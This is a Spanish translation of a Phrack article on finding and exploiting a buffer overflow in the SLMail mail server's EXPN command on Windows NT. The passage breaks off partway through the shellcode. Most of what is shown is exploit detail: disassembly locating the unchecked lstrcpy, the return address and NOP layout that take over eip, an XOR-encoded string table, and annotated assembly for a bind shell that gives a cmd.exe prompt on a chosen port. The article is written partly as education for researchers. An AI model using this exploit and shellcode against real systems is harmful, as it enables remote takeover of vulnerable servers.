*/ translated by honoriak thz to dark spyrit for letting me translate and publish this text */ -------------------------[ Desbordamiento de buffer en win32 (Localizacion, 'Explotacion' y Prevencion) --------[ dark spyrit AKA Barnaby Jack ] ----[ Abstract /* nota del traductor: esta parte no ha sido traducida ya que considero que no esta relacionada intrinsecamente con el tema a tratar en este manual, que son los buffer overflows en win32, aun asi, si quereis leerla en ingles podeis verla en http://phrack.infonexus.com [ Phrack Magazine --- Vol. 9 | Issue 55 --- 09.09.99 --- 15 of 19 ] */ Introduccion. ~~~~~~~~~~~~~ Este manual esta dividido en tres secciones. La primera cubre una session de ingenieria inversa estandar, y explicare una vulnerabilidad comun. La segunda demuestra el proceso de explotacion de esta vulnerabilidad - el problema con la mayoria de exploits de desbordamiento remoto en win32 proviene del payload, la tendencia actual es tener el shellcode bajado de un fichero externo y ejecutarlo. Algunos problemas son resultado de esta tecnica, dependiendo de la configuracion del router/firewall etc. El payload que presento te dara directamente una shell en el puerto que especifiques, eliminando el 90% de los problemas comentados. Este es el primero. Este es el primero de su clase segun tengo entendido. La ultima seccion te mostrara como aumentar tu propio codigo a los ejecutables de tu objetivo para impedir la 'explotacion'. El ejemplo que usare para este documento es la ultima version del Seattle Labs mail server (3.2.3113). Hay gran numero de buffer overflows en este software, nos concetraremos en un puerto abierto para el servicio POP, que da las funciones Extended Turn. Se contacto con Seattle Labs para avisarles de exto en una version previa pero no pusieron remedio a la situacion, simplemente cambiaron el puerto por defecto del 27 al 8376. Mal movimiento. Las vulnerabilidades fueron hechas publicas, y a proposito, por favor, Russ, no me mandes emails asquerosos. Antes de comenzar asumire que tienes un conocimiento general de Assembler, programacion en Windows, un conocimiento basico de la estructura de 'Portable Executable' y sabes lo fundamental de buffer overflows - No sera repasado lo basico en este manual. Herramientas requeridas: Interactive Disassembler de http://www.datarescue.com - el MEJOR desensamblador para el PC. Un debugger decente, ej: SoftIce PE Dump de Matt Peitrek, o dumpbin sera suficiente. Un editor hexadecimal, cualquiera valdra.. PS Edit lo hace bien. Un a referencia del API de Win32. Si quieres ensamblar las herramientas/exploits que acompaņan a este manual tambien necesitaras TASM 5.0. Los binarios estaran disponibles en http://www.beavuh.org tan pronto como sintamos la necesidad de ponerlos. Seccion 1: Bajo la 'capucha'. ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~ El Interactive Disassembler Pro es sin duda alguna, la herramienta para ingeniera inversa. El desensamblamiento empieza desde el punto de entrada del programa, y continua con todas las rutas de ejecucion, despues sigue para localizar funciones fuera del main en el flujo del programa. Tienes un control completo de lo que se marca como datos o codigo. IDA reconoce una gran cantidad de funciones de librerias, que le proporciona un mejor entendimiento de el objetivo. Desensamblara una cantidad increible de formatos de fichero, de un ancho rango de procesadores. Se te da la posibilidad de tener comentarios, etiquetas, modificar parte del codigo, funciones, "interactuar". IDA tambien incluye su propio lenguaje de macros, que automatiza tareas. Si estuviese cubriendo todo lo que esta herramienta hace estaria aqui todo el dia, y seguramente olvidaria algo. Con el esfuerzo combinado de IDA y Soft Ice, no hay barreras. Esta seccion sera bastante corta, la unica razon es que IDA corta el codigo de SLMail como un machete. Carga slmail.exe en IDA y empecemos... Lo primero que necesitamos pensar sobre nuestro objetivo por un minuto, vamos a intentar 'explotar' uno de los comandos de SMTP ya que casi es cierto que ellos seran accesibles y comarables desde una tabla.. Hagamos una busqueda: Teclea "buscar texto en el core" y mete "EXPN", nos encontraremos en el medio de estas cadenas ASCII. 004439C0 aSize db 'SIZE',0 004439C5 align 4 004439C8 aXtrn db 'XTRN',0 004439CD align 4 004439D0 aEtrn db 'ETRN',0 004439D5 align 4 004439D8 aQuit db 'QUIT',0 ; DATA XREF: sub_403970+280Xo 004439D8 ; .data:00448A60Yo 004439DD align 4 004439E0 aHelp_0 db 'HELP',0 004439E5 align 4 004439E8 aTurn db 'TURN',0 ; DATA XREF: sub_403970+F0Xo 004439ED align 4 004439F0 aExpn db 'EXPN',0 ... Ahora necesitamos encontrar la tabla que hace referencia a los comandos, asi que haremos otra busqueda.. esta vez metiendo el offset de la dword a la izquierda de EXPN (004439f0). Y estaremos en el medio de este desorden: 004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24Xr 004436F8 ; sub_404390+34Xo 004436FC db 3 ; 004436FD db 0 ; 004436FE db 0 ; 004436FF db 0 ; 00443700 db 94h ; " 00443701 db 3Ah ; : 00443702 db 44h ; D 00443703 db 0 ; 00443704 db 0Ah ; 00443705 db 0 ; 00443706 db 0 ; 00443707 db 0 ; 00443708 db 90h ; P 00443709 db 3Ah ; : 0044370A db 44h ; D 0044370B db 0 ; 0044370C db 1 ; 0044370D db 0 ; 0044370E db 0 ; 0044370F db 0 ; ... 004437E8 db 0F0h ; p 004437E9 db 39h ; 9 004437EA db 44h ; D 004437EB db 0 ; 004437EC db 19h ; 004437ED db 0 ; 004437EE db 0 ; 004437EF db 0 ; No hay un punto que muestra la tabla completa aqui, ahora.. echa un vistazo a su estructura. etc Mi mejor averiguacion aqui es que el valor de dword que sigue a cada puntero sera el valor asignado despues de una comparacion satisfactoria. Chequeemos nuestra teoria. Tambien se debe hacer notar que nuestro valor despues del puntero a "EXPN" : 004439f0h, 00000019h. 0x19, mantendremos esto en mento. Subamos hacia arriba y en la parte superior de la tabla puedes ver: 004436F8 dword_4436F8 dd 443A98h ; DATA XREF: sub_404390+24Xr 004436F8 ; sub_404390+34Xo Puedes ver a la derecha, donde la tabla es referenciada, haz click en la subrutina y tendras directamente la llamada. 004043B4 loc_4043B4: ; CODE XREF: sub_404390+11Xj 004043B4 mov ecx, dword_4436F8 004043BA test ecx, ecx 004043BC jz short loc_4043F3 004043BE mov ebp, ds:lstrlenA 004043C4 mov esi, offset dword_4436F8 Nuestra tabla se cargo en esi, ebp contiende la direccion de lstrlenA. 004043C9 004043C9 loc_4043C9: ; CODE XREF: sub_404390+61Yj 004043C9 test eax, eax 004043CB jnz short loc_4043F3 004043CD mov eax, [esi] 004043CF push eax 004043D0 call ebp Aqui vamos, la la cadena primero se movio a eax y despues una funcion de una longitud de una cadena se llamo. 004043D2 mov ecx, [esi] 004043D4 push eax 004043D5 push ecx 004043D6 push ebx 004043D7 call j_lstrncmpi 004043DC neg eax 004043DE sbb eax, eax 004043E0 inc eax 004043E1 jz short loc_4043E9 Ahora sabemos que los parametros para lstrncmpi son estos: strncmpi(primera_cadena, segunda_cadena, numero_de_chars); El primer parametro puesto en la pila es el de retorno desde la funcion de longitud de la cadena, ecx es puesto a continuacion y apunta al string, y finalmente ebx. Asi que podemos determinar desde esto que ebx contiene el input del usuario. Veo que alguno de vosotros puede estar un poco confuso aqui, si - los parametros son puesto en la pila en orden inverso. 004043E3 xor edi, edi 004043E5 mov di, [esi+4] Ah, como sospechabamos... si hay una comparacion satisfactoria entonces di es cargado con el valor que sigue a nuestro puntero. 004043E9 004043E9 loc_4043E9: ; CODE XREF: sub_404390+51Xj 004043E9 mov ecx, [esi+8] 004043EC add esi, 8 004043EF test ecx, ecx 004043F1 jnz short loc_4043C9 vuelta :) 004043F3 004043F3 loc_4043F3: ; CODE XREF: sub_404390+18Xj 004043F3 ; sub_404390+2CXj ... 004043F3 mov eax, edi 004043F5 pop edi 004043F6 pop esi 004043F7 pop ebp 004043F8 pop ebx 004043F9 retn 004043F9 sub_404390 endp ; sp = -10h 004043F9 Y finalmente eax tiene nuestro valor, y retornamos de la llama. Continuemos. 00405EC7 mov edx, [esp+2Ch+arg_8] 00405ECB mov ebx, eax 00405ECD mov eax, [esp+2Ch+arg_4] 00405ED1 push edx 00405ED2 push eax 00405ED3 push esi 00405ED4 lea ecx, [esp+3Ch] 00405ED8 push edi 00405ED9 push ecx 00405EDA push ebx 00405EDB call sub_404850 Ahora, las cosas importantes de las que hay que tomar nota aqui es que edx coge nuestra cadena del input, y ebx tiene nuestro valor de la tabla (0x19). Recuerda el orden en el que nuestros registros son puesto, asi podremos decir lo que es referenciado desde la pila - y en la siguiente llamada renombraremos las variables de la pila para hacer mas facil todo esto. Nota: Me estoy aprovechando de que algunas de las caracteristicas fantasticas que IDA posee - comentarios, etiquetas y mucho mas. Una necesidad mientras estas en una jornada real de ingenieria inversa. 00404850 sub_404850 proc near ; CODE XREF: sub_405330+73Yp 00404850 ; sub_405560+73Yp ... 00404850 00404850 var_270 = byte ptr -270h 00404850 var_26C = dword ptr -26Ch 00404850 var_268 = byte ptr -268h 00404850 var_264 = byte ptr -264h 00404850 var_23C = byte ptr -23Ch 00404850 var_230 = byte ptr -230h 00404850 var_168 = byte ptr -168h 00404850 var_110 = byte ptr -110h 00404850 var_105 = byte ptr -105h 00404850 var_104 = byte ptr -104h 00404850 var_10 = dword ptr -10h 00404850 var_4 = dword ptr -4 00404850 our_val = dword ptr 4 00404850 arg_4 = dword ptr 8 00404850 arg_8 = dword ptr 0Ch 00404850 arg_C = dword ptr 10h 00404850 arg_10 = dword ptr 14h 00404850 our_input = dword ptr 18h 00404850 00404850 mov ecx, [esp+our_val] 00404854 sub esp, 26Ch 0040485A xor eax, eax 0040485C cmp ecx, 8 0040485F push ebx 00404860 push ebp 00404861 push esi 00404862 push edi 00404863 jnz loc_4048E9 Renombraremos los utiles argumentos de la pila para ser mas faciles de recordar, arg_0 = our_val, y arg_14 = our_input - si te pierdes, vete hacia atras y hecha otro vistazo al orden de los registros que son 'pusheados' (puestos). ecx es cargado con nuestro valor 0x19. Este es comparado con 8, el que no es nuestro, asi seguira el salto. 004048E9 004048E9 loc_4048E9: ; CODE XREF: sub_404850+13Xj 004048E9 cmp ecx, 17h 004048EC jnz short loc_40495A 004048EE mov ecx, [esp+27Ch+arg_10] 004048F5 mov esi, [esp+27Ch+arg_C] 004048FC mov eax, [ecx] 004048FE cmp eax, 8 00404901 jnz short loc_404914 00404903 mov ecx, [esi+100h] 00404909 test ecx, ecx 0040490B jz short loc_404914 0040490D mov ebx, 1 00404912 jmp short loc_404916 Una comparacion con 17h, de nuevo... no nuestra, asi que continuamos para seguir al siguiente salto hasta que nosotros lleguemos... 00404B7F loc_404B7F: ; CODE XREF: sub_404850+1C0Xj 00404B7F cmp ecx, 19h 00404B82 jnz loc_404D7F 00404B88 mov eax, dword_457354 00404B8D test eax, eax 00404B8F jz loc_404D4F 00404B95 mov eax, dword_457384 00404B9A mov edi, [esp+27Ch+our_input] 00404BA1 push 0 00404BA3 push eax 00404BA4 push edi 00404BA5 call sub_4365A0 Y aqui esta nuestro chico, mira como nuestras variables con renombradas siguiendo todo a traves de la llamada, IDA esta bien, no? :) Asi que edi coge nuestra cadena del input, y sigue hasta otra llamada - de nuevo renombraremos la util variable de la pila abriendo la entrada de la siguiente llamada. e.j.: edi = arg_0 = our_input 004365A0 sub_4365A0 proc near ; CODE XREF: sub_4029D0+92Xp 004365A0 ; sub_4029D0+107Xp ... 004365A0 004365A0 var_12C = byte ptr -12Ch 004365A0 var_12B = byte ptr -12Bh 004365A0 our_input = dword ptr 4 004365A0 arg_4 = dword ptr 8 004365A0 arg_8 = dword ptr 0Ch 004365A0 004365A0 mov eax, [esp+arg_8] 004365A4 mov ecx, [esp+arg_4] 004365A8 sub esp, 12Ch 004365AE lea edx, [esp+12Ch+var_12C] 004365B2 push 0 004365B4 push eax 004365B5 mov eax, [esp+134h+our_input] 004365BC push ecx 004365BD push 12Ch 004365C2 push edx 004365C3 push eax 004365C4 call sub_4364A0 Y todavia otra llamada, de nuevo mira el orden en el que los registros son pasados, eax=arg0=our_input. Tengo la impresion de que nos acercamos a lo bueno. Ok, lo admito. Yo estoy hechando una mirada a hurtadillas. 004364A0 sub_4364A0 proc near ; CODE XREF: sub_436470+1BXp 004364A0 ; sub_4365A0+24Yp ... 004364A0 004364A0 var_98 = byte ptr -98h 004364A0 var_8C = byte ptr -8Ch 004364A0 var_78 = byte ptr -78h 004364A0 var_6C = byte ptr -6Ch 004364A0 var_35 = byte ptr -35h 004364A0 var_15 = byte ptr -15h 004364A0 var_8 = dword ptr -8 004364A0 var_4 = dword ptr -4 004364A0 our_input = dword ptr 4 004364A0 arg_4 = dword ptr 8 004364A0 004364A0 mov eax, [esp+our_input] 004364A4 sub esp, 64h 004364A7 push ebx 004364A8 push ebp 004364A9 push esi 004364AA mov esi, [esp+70h+arg_4] 004364AE push edi 004364AF push eax 004364B0 push esi 004364B1 call ds:lstrcpyA 004364B7 push 40h 004364B9 push esi 004364BA call j_lstrchr 004364BF test eax, eax 004364C1 jz short loc_4364C6 004364C3 mov byte ptr [eax], 0 Y aqui lo tenemos, el clasico 'screw-up'. esi apunta al buffer, eax tiene nuestra cadena - *bang* strcpy. Alguien tiene noticia de alguna forma de chequeo en este punto? Creo que no. Por favor chicos, no intentemos ocultarlo - PODEMOS ver lo que haces. Ahora sabemos que EXPN es seguro nuestra victima. Sientete libre para seguir algunos de los demas comandos, tu veras practicas de codigo similar, Seattle Labs no son muy limpios. En una sesion relativamente rapida de ingenieria inversa rapida, encontramos un error muy comun - pero un error que compromete el servidor por completo. Ahora, obviamente, muchas sesiones seran como un camino bien recto - espera un dia de lluvia, ten un paquete extra de pitillos en tu mano, una botella de vodka, mirate algun 30footFALL y hackea - la paciencia es una virtud, tomate tu tiempo y navega por el codigo, tu seguramente encontraras lo que buscas. Y hey, incluso si no, te abras bajado una botella. Con la suficiente paciencia y determinacion, encontraras gran numero de agujeros y vulnerabilidades a traves de tecnicas de desensamblamiento. Seccion 2: El exploit. ~~~~~~~~~~~~~~~~~~~~~~ Aunque en esta seccion te mostrara algunos trucos, tecnicas y el proceso de 'explotar' overflows bajo Windows, el proposito principal de esta seccion es documentarte sobre el shellcode que considero mas ideal de los disponibles para los exploits de win32. La ultima cosa que quiero hacer es repasar lo ya explicado - nada esta de menos, documentare la ruta que yo tome personalmente antes de crear el payload. Para estos de vosotros que habeis hecho este tipo de cosa antes, sientete libre de saltar directamente al shellcode. Antes de empezar, tengo que decir algo rapidamente a algunos miembros de la comunidad de la seguridad informatica. Cuando saque el exploit IIS (la definicion de concepto de prueba :)), alguno de los e-mails fue un poco desagradable. E-mails de empleados de grandes corporaciones y si, agencias del gobierno, con titulos como 'Jege de seguridad de red' y similares que decian que el exploit era un cierto riesgo para sus servidores. Si el exploit fallo, algunos lo calificaron de riesgo minimo. No determines la seguridad de tu servidor solo en los resultados de un exploit publico - la vulnerabilidad existe, arreglala. Si crees que era solo una demostracion de codigo entonces necesitas un examen mental. Espero ahora, que cambies de actitud. Las masas tienen ahora el control, sin fallos. Alla vamos. Mi experiencia con NT es un poco limitada, de hecho, he hecho recientemente el cambio desde Windows 9x. Desafortunadamente lo que he notado bajo NT es que SoftIce tiene algunos problemas, y otros debuggers tienden a rompers despues de que la excepcion a coger se halla kickeado. Esto es asqueroso por un par de razones. Si una excepcion es levantada, despues una rutina de longitud de cadena intenta leer de la memoria invalida por ejemplo, bajo NT es mas que probable que sea el handle de la excepcion por si mismo el que sobreescriba el eip con tus datos (IIS viene a mi mente de nuevo). Podemos enrutar nuestro eip a un offset al que apunta si deseamos, pero esto no es particularmente delicado, estaria mucho mejor no intentar esto y tirar en algunas direcciones validas y dejamos que el codigo retorno con nuestro datos a un eip con nuestros datos. Lo que sugiero es poner un breakpoint en la excepcion y descargar el eip desde el que fue llamado.. ej.: bpx KiUserExceptionDispatcher DO "dd *esp+0c" Ahora si eip no ha sido sobreescrito puedes romper en ese offset y ver lo que tiene que pasar con el, si eip ha sido tomado entonces el offset en esa localizacion deberian ser tus bytes. En ese caso tu puedes o intentarlo y tracear en la pila ejecutada y encontrar la localizacion de rotura relativamente exacta donde retorno nuestra eip, o simplemente tomar una averiguacion ya hecha. La ultima es el camino que tomaremos. Petaremos esto. attica:~> telnet 192.168.10.3 8376 Trying 192.168.10.3... Connected to 192.168.10.3. Escape character is '^]'. 220 supermax.gen.nz Smtp Server SLMail v3.2 Ready ESMTP spoken here expn xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx Nuestro debuffer peto, obviamente en este caso la eip ha sido totalmente tomada, mira en el handle que fue llamado - 0x78787878, para que veas: xxxx. Ok, ahora queremos encontrar el punto exacto en el codigo donde retorno nuestra direccion - echaremos un vistazo a lo desensamblado. 004364AF push eax 004364B0 push esi 004364B1 call ds:lstrcpyA Ponemos el breakpoint justo debajo de la llamada a lstrcpy, esa es la forma a traves de la cual podemos echar un vistazo mas concienzudo a la manipulacion del buffer y debemos estar lejos del control total del sistema. Ok, envia los datos y permite a tu debugger pillarlos, retornarlos fuera de la llamada y tu los alcanzaras rapidamente.. or eax, -01 add esp, 0000012c ret Ahi es donde nosotros queremos estar, ese ret nos dejara caer a nuestro eip. Tenemos el control. Ahora, vamos a algo util. Examinemos los registros y veamos con que tenemos que jugar, esp se totaliza y apunta a algun ligar en el medio de nuestro buffer. Asi que podemos saltar la pila, pero por que molestar? Echa un vistazo a algunos de todos esos registros - edi tiene nuestro buffer directamente despues de "expn". No podiamos conseguir algo mejor. Aunque hay algunos caminos diferentes para saltar la pila, casi siempre encontraremos una "llamada a edi" o similar. Pensemos sobre esto por un momento, en un mundo perfecto referenciariamos un offset en slmail.exe - pero este es el mundo de Windows. Tenemos que evitar los bytes nulos asi que desafortunadamente no podemos usar el exe por si mismo, como es cargado en la direccion base por defecto de 0x00400000. Podriamos usar una localizacion en el ejecutable si situasemos nuestro offset al final de nuestros datos, como tendriamos el caracter nulo al final de la cadena, pero eso no nos deja suficiente espacio para un payload decente. Recuerda que no queremos esto por ser esto dependiente de la version de NT, asi que o necesitamos usar una DLL includia en SLMail o una DLL externa que es estatica en todos los service packs. Asi que echaremos un vistazo a todo lo que ha sido cargado desde ese proceso. SysInternals (http://www.sysinternals.com) tiene una reducida utilidad llamada listdlls la cual te muestra simplemente eso. C:\tools>listdlls slmail.exe ListDLLs V2.1 Copyright (C) 1997-1999 Mark Russinovich http://www.sysinternals.com ------------------------------------------------------------------------------ slmail.exe pid: 159 Base Size Version Path 0x00400000 0x62000 3.02.0001.1204 E:\PROGRA~1\SLmail\slmail.exe 0x77f60000 0x5c000 4.00.1381.0130 E:\WINNT\System32\ntdll.dll 0x10000000 0xc000 2.03.0000.0000 E:\WINNT\system32\OpenC32.dll 0x77f00000 0x5e000 4.00.1381.0133 E:\WINNT\system32\KERNEL32.dll 0x77ed0000 0x2c000 4.00.1381.0115 E:\WINNT\system32\GDI32.dll 0x77e70000 0x54000 4.00.1381.0133 E:\WINNT\system32\USER32.dll 0x77dc0000 0x3f000 4.00.1381.0121 E:\WINNT\system32\ADVAPI32.dll 0x77e10000 0x57000 4.00.1381.0131 E:\WINNT\system32\RPCRT4.dll 0x77d80000 0x32000 4.00.1381.0027 E:\WINNT\system32\comdlg32.dll 0x77c40000 0x13c000 4.00.1381.0114 E:\WINNT\system32\SHELL32.dll 0x77aa0000 0x74000 4.72.3609.2200 E:\WINNT\system32\COMCTL32.dll 0x776d0000 0x8000 4.00.1381.0131 E:\WINNT\system32\WSOCK32.dll 0x776b0000 0x14000 4.00.1381.0133 E:\WINNT\system32\WS2_32.dll 0x78000000 0x40000 6.00.8337.0000 E:\WINNT\system32\MSVCRT.dll 0x776a0000 0x7000 4.00.1381.0031 E:\WINNT\system32\WS2HELP.dll 0x77a90000 0xb000 4.00.1371.0001 E:\WINNT\system32\VERSION.dll 0x779c0000 0x8000 4.00.1371.0001 E:\WINNT\system32\LZ32.dll 0x77bf0000 0x7000 4.00.1381.0072 E:\WINNT\system32\rpcltc1.dll 0x77660000 0xf000 4.00.1381.0037 E:\WINNT\system32\msafd.dll 0x77690000 0x9000 4.00.1381.0037 E:\WINNT\System32\wshtcpip.dll 0x74ff0000 0xd000 4.00.1381.0131 E:\WINNT\System32\rnr20.dll No es mucho lo cargado por el mismo, asi que tendremos que poner algo externo. LZ32.DLL lo hara, estatico en todos los service packs, tiene el codigo que necesitamos y el offset sin caracteres nulos. Encontramos en la localizacion 0x779C1CAA una "llamada a edi", eso esta muy bien. El siguiente problema - necesitamos saber donde esta en nuestra memoria intermedia nuestro material. Una forma rapida y facil de encontrarlo es llenar nuestro buffer con un cierto numero de bytes independientes, 1A, 2A, 3A, 4A....A1, A1 y asi sucesivamente, y podremos encontrar la localizacion donde la eip es sobreescrita. Rapidamente nos damos cuenta de que la localizacion que necesitamos es de unos 300 bytes en nuestro buffer, asi que tenemos: expn <299 nops> 0x779c1caa De esta forma, si enviasemos nuestros datos, eip retornaria al offset 0x779c1caa el cual llamaria a edi y ejecutaria nuestros nops - antes del offset tambien habra un corto salto para evitar las instrucciones de basura que nuestro offset tradujo. Ahora todo lo que falta es nuestro payload al final. Ya es hora. El Payload. ~~~~~~~~~~~ Nota: las ideas para la tabla/salto de la tabla son de DilDog, muy guay. Hiciste un trabajo muy bueno. El proposito: Un exploit que lance un 'command prompt' directamente a un puerto especificado, y que se ejecute correctamente en todas las versiones de NT. Consideraciones: - No estoy seguro de la version exacta de OS. - Las localizaciones de las funciones pueden diferir dependiendo de las versiones/service packs/upgrades. - La tabla de importacion para SLMail no tiene todas las funciones necesarias. - Debemos evitar bytes nulos, retorno de 'carriage' etc. Podemos solucionar los primeros tres problemas linkando al IAT de slmail, y usando estos procedimientos para cargar funciones externas. Y para el cuarto? Tendremos que ser listos. Para mantener el shellcode tan generico como sea posible, crearemos una tabla de saltos de todas las funciones externas que seran usadas, sin confiar en las importaciones de SLMail - con dos excepciones. Para poder cargar los DLL y tener las direcciones para los procedimientos necesarios necesitaremos referenciar dos funciones desde la tabla de importaciones de slmail.exe: GetProcAddress and LoadLibraryA. Antes de mostrar la tabla que creamos, quiero darte una idea de lo que pasa cuando lanzamos una shell remota bajo Windows NT. Desafortunadamente nada es parecido a lo que estas acostumbrado cuando trabajas con *nix, pero, desde luego, se puede controlar. Para poder lanzar una shell remota, necestiamos poder redireccionar una salida estandar y error estandar a un usuario conectado, y el usuario conectado debe tener control sobre la entrada estandar. La pregunta? 'Pipes' anonimos. El uso primario de los 'pipes' anonimos es intercambiar datos entre los procesos hijos y padre, o entre los procesos hijos. El 'pipe' anonimo es un 'pipe' de un solo camino - el flujo de datos sera en una sola direccion - de uno a otro. La utilidad es aparente cuando trabajamos con la consola, podemos reemplazar los 'handles' de stdin/stdout/stderr con 'handles' al final de los 'pipes' creados. Podemos pues leer y escribir a las 'pipes' con los APIs Read y Writefile. Desde el final de la lectura del 'pipe' stdout, enviamos el buffer al socket conectado y lo que recibimos de este socket conectado lo mandamos escribir al final de la 'pipe' stdin. Para mantener generica nuestra tabla de cadenas desafortunadamente va a tenerse que incluir unas ciertas funciones, ocupando nuestro preciados bytes. Cuando te preocupes por el espacio de la pila querras hacer uso de mas funciones del objetivo IAT. La tabla: db "KERNEL32",0 ;cadena para poner LoadLibrary. db "CreatePipe",0 db "GetStartupInfoA",0 ;modificarems la estructura de inico en el momento de ejecucion ya que la ;estructura es demasiado grande para incluirla en el shellcode. db "CreateProcessA",0 db "PeekNamedPipe",0 db "GlobalAlloc",0 db "WriteFile",0 db "ReadFile",0 db "Sleep",0 db "ExitProcess",0 db "WSOCK32",0 db "socket",0 db "bind",0 db "listen",0 db "accept",0 db "send",0 db "recv",0 sockstruc STRUCT sin_family dw 0002h sin_port dw ? sin_addr dd ? sin_zero db 8 dup (0) sockstruc ENDS ;el valor de sin_port sera llenado con el cliente del exploit antes de que ;el shellcode sea enviado. db "cmd.exe",0 dd 0ffffffffh db 00dh, 00ah ;la cadena a poner para invocar el 'command prompt'. ;la dword al final sera usada para referenciar el final de la tabla de ;cadenas en el momento de ejecucion. Ahora, se lo que piensas - todas estas cadenas estan teminadas en un caracter nulo y las estructuras contienen caracteres nulos. Para solucionar esto, XOR'earemos la tabla de cadenas con 0x99, excepto para el 'carriage', avance de linea, y la dword 0xFFFFFFFF. Si todo funciona, la tabla encriptada tendra un aspecto como este: 00000280 .. .. .. .. .. .. .. .. .. .. .. D2 DC CB D7 DC ..... 00000290 D5 AA AB 99 DA EB FC F8-ED FC C9 F0 E9 FC 99 DE ................ 000002A0 FC ED CA ED F8 EB ED EC-E9 D0 F7 FF F6 D8 99 DA ................ 000002B0 EB FC F8 ED FC C9 EB F6-FA FC EA EA D8 99 DA F5 ................ 000002C0 F6 EA FC D1 F8 F7 FD F5-FC 99 C9 FC FC F2 D7 F8 ................ 000002D0 F4 FC FD C9 F0 E9 FC 99-DE F5 F6 FB F8 F5 D8 F5 ................ 000002E0 F5 F6 FA 99 CE EB F0 ED-FC DF F0 F5 FC 99 CB FC ................ 000002F0 F8 FD DF F0 F5 FC 99 CA-F5 FC FC E9 99 DC E1 F0 ................ 00000300 ED C9 EB F6 FA FC EA EA-99 CE CA D6 DA D2 AA AB ................ 00000310 99 EA F6 FA F2 FC ED 99-FB F0 F7 FD 99 F5 F0 EA ................ 00000320 ED FC F7 99 F8 FA FA FC-E9 ED 99 EA FC F7 FD 99 ................ 00000330 EB FC FA EF 99 9B 99 82-A1 99 99 99 99 99 99 99 ................ 00000340 99 99 99 99 99 FA F4 FD-B7 FC E1 FC 99 FF FF FF ................ 00000350 FF 0D 0A ... Esto sera puesto justo al final de nuestro shellcode. Ahora es hora de conseguir un buen material. Nota: este exploit asume que la direccion base es 0x00400000 Lo recomendado para seguir esto es poner este codigo en tu debuffer mientras lees las explicaciones. :00000138 33C0 xor eax, eax :0000013A 50 push eax :0000013B F7D0 not eax :0000013D 50 push eax :0000013E 59 pop ecx :0000013F F2 repnz :00000140 AF scasd :00000141 59 pop ecx :00000142 B1C6 mov cl, C6 :00000144 8BC7 mov eax, edi :00000146 48 dec eax :00000147 803099 xor byte ptr [eax], 99 :0000014A E2FA loop 00000146 Esto situa edi al final de nuestra tabla de cadenas encriptadas escaneando el buffer buscando nuestra dword (0xFFFFFFFF), ecx mantiene la cantidad de caracteres para desencriptar. edi es movido a eax, y cada byte es desencriptado (XORed con 0x99). eax ahora apunta al principio de la tabla de cadenas. :0000014C 33F6 xor esi, esi :0000014E 96 xchg eax,esi :0000014F BB99101144 mov ebx, 44111099 :00000154 C1EB08 shr ebx, 08 :00000157 56 push esi :00000158 FF13 call dword ptr [ebx] Aqui hacemos una llamada a LoadLibraryA,poniendo esi como el parametro - el cual apunta a "KERNEL32", la primera cadena de la tabla. La llamada se hace dando a ebx la localizacion de LoadLibrary desde la tabla de importacion de SLMail, y poniendo un byte extra para evitar usar un caracter nulo. Despues killearemos corriendo el valor un byte a la derecha. LoadLibraryA = 00441110h :0000015A 8BD0 mov edx, eax :0000015C FC cld :0000015D 33C9 xor ecx, ecx :0000015F B10B mov cl, 0B :00000161 49 dec ecx :00000162 32C0 xor al, al :00000164 AC lodsb :00000165 84C0 test al, al :00000167 75F9 jne 00000162 Damos a ecx el conjunto de procedimientos que hemos especificado desde el kernel, u sera creada una tabla de saltos para nuestras funciones. Despues incrementamos esi hasta alcanzar un byte nulo - moviendo al nombre de la siguiente cadena. :00000169 52 push edx :0000016A 51 push ecx :0000016B 56 push esi :0000016C 52 push edx :0000016D B30C mov bl, 0C :0000016F FF13 call dword ptr [ebx] :00000171 AB stosd :00000172 59 pop ecx :00000173 5A pop edx :00000174 E2EC loop 00000162 Aqui llamamos GetProcAddress, ebx ya tiene el valor de LoadLibrary, asi que solo necesitamos modificar el byte de abajo. Almacenamos la direccion en edi, y 'loopeamos' para el resto de las funciones. Ahora tenemos una tabla de saltos en edi - ahora podemos llamar a cada funcion indirectamente a trabes de edi. ej.: call dword ptr [edi-0c]. :00000176 32C0 xor al, al :00000178 AC lodsb :00000179 84C0 test al, al :0000017B 75F9 jne 00000176 :0000017D B310 mov bl, 10 :0000017F 56 push esi :00000180 FF13 call dword ptr [ebx] :00000182 8BD0 mov edx, eax :00000184 FC cld :00000185 33C9 xor ecx, ecx :00000187 B106 mov cl, 06 :00000189 32C0 xor al, al :0000018B AC lodsb :0000018C 84C0 test al, al :0000018E 75F9 jne 00000189 :00000190 52 push edx :00000191 51 push ecx :00000192 56 push esi :00000193 52 push edx :00000194 B30C mov bl, 0C :00000196 FF13 call dword ptr [ebx] :00000198 AB stosd :00000199 59 pop ecx :0000019A 5A pop edx :0000019B E2EC loop 00000189 Esto es una repeticon del codigo anterior, excepto que ahora nosotros agrandamos nuestra tabla de saltos para incluir funciones de sockets. :0000019D 83C605 add esi, 00000005 :000001A0 33C0 xor eax, eax :000001A2 50 push eax :000001A3 40 inc eax :000001A4 50 push eax :000001A5 40 inc eax :000001A6 50 push eax :000001A7 FF57E8 call [edi-18] :000001AA 93 xchg eax,ebx Aqui ponemos los valores SOCK_STREAM, AF_INET, y el nulo para el protocolo. Despues llamamos a la funcion 'socket'. Nota: No necesitamos llamar WSAStartup porque el proceso del target se ha preocupado de hacerlo por nosotros. Tambien ponemos a 